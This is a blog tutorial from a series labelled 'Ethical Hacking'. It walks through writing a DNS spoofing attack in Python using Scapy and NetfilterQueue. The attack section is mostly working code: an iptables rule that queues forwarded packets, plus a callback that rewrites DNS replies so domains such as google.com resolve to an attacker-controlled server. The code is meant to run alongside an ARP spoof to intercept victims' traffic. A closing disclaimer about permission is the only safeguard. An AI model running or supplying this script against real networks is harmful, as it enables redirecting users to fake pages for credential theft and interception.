How to Make a DNS Spoof attack using Scapy in Python

Abdou Rockikz · 10 aug 2019

Abdou Rockikz · 9 min read · Updated oct 2019 · Ethical Hacking · Packet Manipulation Using Scapy

In the previous tutorial, we have discussed about ARP spoof and how to successfully make this kind of attack using Scapy library. However, we haven't mentioned the benefit of being man-in-the-middle. In this tutorial, we will see one of the interesting methods out there, DNS spoofing.

What is DNS

A Domain Name System server translates the human-readable domain name ( such as google.com ) into an IP address that is used to make the connection between the server and the client, for instance, if a user wants to connect to google.com, the user's machine will automatically send a request to the DNS server, saying that I want the IP address of google.com as shown in the figure:

DNS RequestThe server will respond with the corresponding IP address of that domain name:

DNS Response

The user will then connect normally to the server:

Connection to the server after DNS Request

Alright, this is totally normal, but now what if there is a man-in-the-middle machine between the user and the Internet? well, that man-in-the-middle can be a DNS Spoofer!

What is DNS Spoofing

DNS spoofing, also referred to as DNS cache poisoning, is a form of computer security hacking in which corrupt Domain Name System data is introduced into the DNS resolver's cache, causing the name server to return an incorrect result record, e.g. an IP address. This results in traffic being diverted to the attacker's computer (or any other computer). (Wikipedia)

But the method we are going to use is a little bit different, let's see it in action:

DNS Spoof Request

Note: In order to be a man-in-the-middle, you need to execute the ARP spoof script, so the victim will be sending the DNS requests to your machine first, instead of directly routing them into the Internet.

Now since the attacker is in between, he'll receive that DNS request indicating "what is the IP address of google.com", then he'll forward that to the DNS server as shown in the following image:

The attacker forwarding the DNS requestThe DNS server received a legitimate request, it will respond with a DNS response:

DNS Response

The attacker now received that DNS response that has the real IP address of google.com, what he will do now is to change this IP address to a malicious fake IP ( in this case, his own web server 192.168.1.100 or 192.168.1.106 or whatever ):

DNS Response Spoofed IP

This way, when the user types google.com in the browser, he'll see a fake page of the attacker without noticing!

Let's see how we can implement this attack using Scapy in Python.

Writing the Script

First, I need to mention that we gonna use NetfilterQueue library which provides access to packets matched by an iptables rule in Linux (so this will only work on Linux distros).

As you may guess, we need to insert an iptables rule, open the linux terminal and type:

iptables -I FORWARD -j NFQUEUE --queue-num 0

This rule indicates that whenever a packet is forwarded, redirect it ( -j for jump ) to the netfilter queue number 0. This will enable us to redirect all the forwarded packets into Python. 

Now, let's install the required dependencies:

pip3 install netfilterqueue scapy

Let's import our modules ( You need to install Scapy first, head to this tutorial or the official scapy documentation for installation ):

from scapy.all import *
from netfilterqueue import NetfilterQueue
import os

Let's define our DNS dictionary:

# DNS mapping records, feel free to add/modify this dictionary
# for example, google.com will be redirected to 192.168.1.100
dns_hosts = {
    b"www.google.com.": "192.168.1.100",
    b"google.com.": "192.168.1.100",
    b"facebook.com.": "172.217.19.142"
}

The netfilter queue object will need a callback that is invoked whenever a packet is forwarded, let's implement it:

def process_packet(packet):
    """
    Whenever a new packet is redirected to the netfilter queue,
    this callback is called.
    """
    # convert netfilter queue packet to scapy packet
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        # if the packet is a DNS Resource Record (DNS reply)
        # modify the packet
        print("[Before]:", scapy_packet.summary())
        try:
            scapy_packet = modify_packet(scapy_packet)
        except IndexError:
            # not UDP packet, this can be IPerror/UDPerror packets
            pass
        print("[After ]:", scapy_packet.summary())
        # set back as netfilter queue packet
        packet.set_payload(bytes(scapy_packet))
    # accept the packet
    packet.accept()

All we did here is converting the netfilter queue packet into a scapy packet, then checking if it is a DNS response, if it is the case, we need to modify it using modify_packet(packet) function, let's define it:

def modify_packet(packet):
    """
    Modifies the DNS Resource Record `packet` ( the answer part)
    to map our globally defined `dns_hosts` dictionary.
    For instance, whenever we see a google.com answer, this function replaces 
    the real IP address (172.217.19.142) with fake IP address (192.168.1.100)
    """
    # get the DNS question name, the domain name
    qname = packet[DNSQR].qname
    if qname not in dns_hosts:
        # if the website isn't in our record
        # we don't wanna modify that
        print("no modification:", qname)
        return packet
    # craft new answer, overriding the original
    # setting the rdata for the IP we want to redirect (spoofed)
    # for instance, google.com will be mapped to "192.168.1.100"
    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
    # set the answer count to 1
    packet[DNS].ancount = 1
    # delete checksums and length of packet, because we have modified the packet
    # new calculations are required ( scapy will do automatically )
    del packet[IP].len
    del packet[IP].chksum
    del packet[UDP].len
    del packet[UDP].chksum
    # return the modified packet
    return packet

Now, let's instantiate the netfilter queue object after inserting the iptables rule:

QUEUE_NUM = 0
# insert the iptables FORWARD rule
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# instantiate the netfilter queue
queue = NetfilterQueue()

We need to bind the netfilter queue number with the callback we just wrote and start it:

try:
    # bind the queue number to our callback `process_packet`
    # and start it
    queue.bind(QUEUE_NUM, process_packet)
    queue.run()
except KeyboardInterrupt:
    # if want to exit, make sure we
    # remove that rule we just inserted, going back to normal.
    os.system("iptables --flush")

I've wrapped it in a try-except to detect whenever a CTRL+C is clicked, so we can delete the iptables rule we just inserted.

That's it, now before we execute it, remember we need to be a man-in-the-middle, so let's execute our arp spoof script we made in the previous tutorial:

ARP SpoofLet's execute the dns spoofer we just created:

root@rockikz:~# python3 dns_spoof.py

Now the script is listening for DNS responses, let's go to the victim machine and ping google.com:

Pinging google.com when dns spoofed

Wait, what? The IP address of google.com is 192.168.1.100 !

Let's try to browse google:

DNS Spoof result

I have set up a simple web server at 192.168.1.100 ( a local server) which returns this page, now google.com is mapped to 192.168.1.100 ! That's amazing.

Going back to the attacker's machine:

DNS Spoof Output

Congratulations! You have successfully completed writing a DNS spoof attack script which is not very trivial. If you want to finish the attack, just click CTRL+C on the arp spoofer and dns spoofer and you're done.

DISCLAIMER: I'm not responsible for using this script in a network you don't have permission to, use it on your own responsibility.

To wrap up, this method is widely used among network penetration testers, now you should be aware of this kind of attacks.

Happy Crafting ♥

View Full Code
Sharing is caring!


Read Also





Comment panel

   
Comment system is still in Beta, if you find any bug, please consider contacting us here.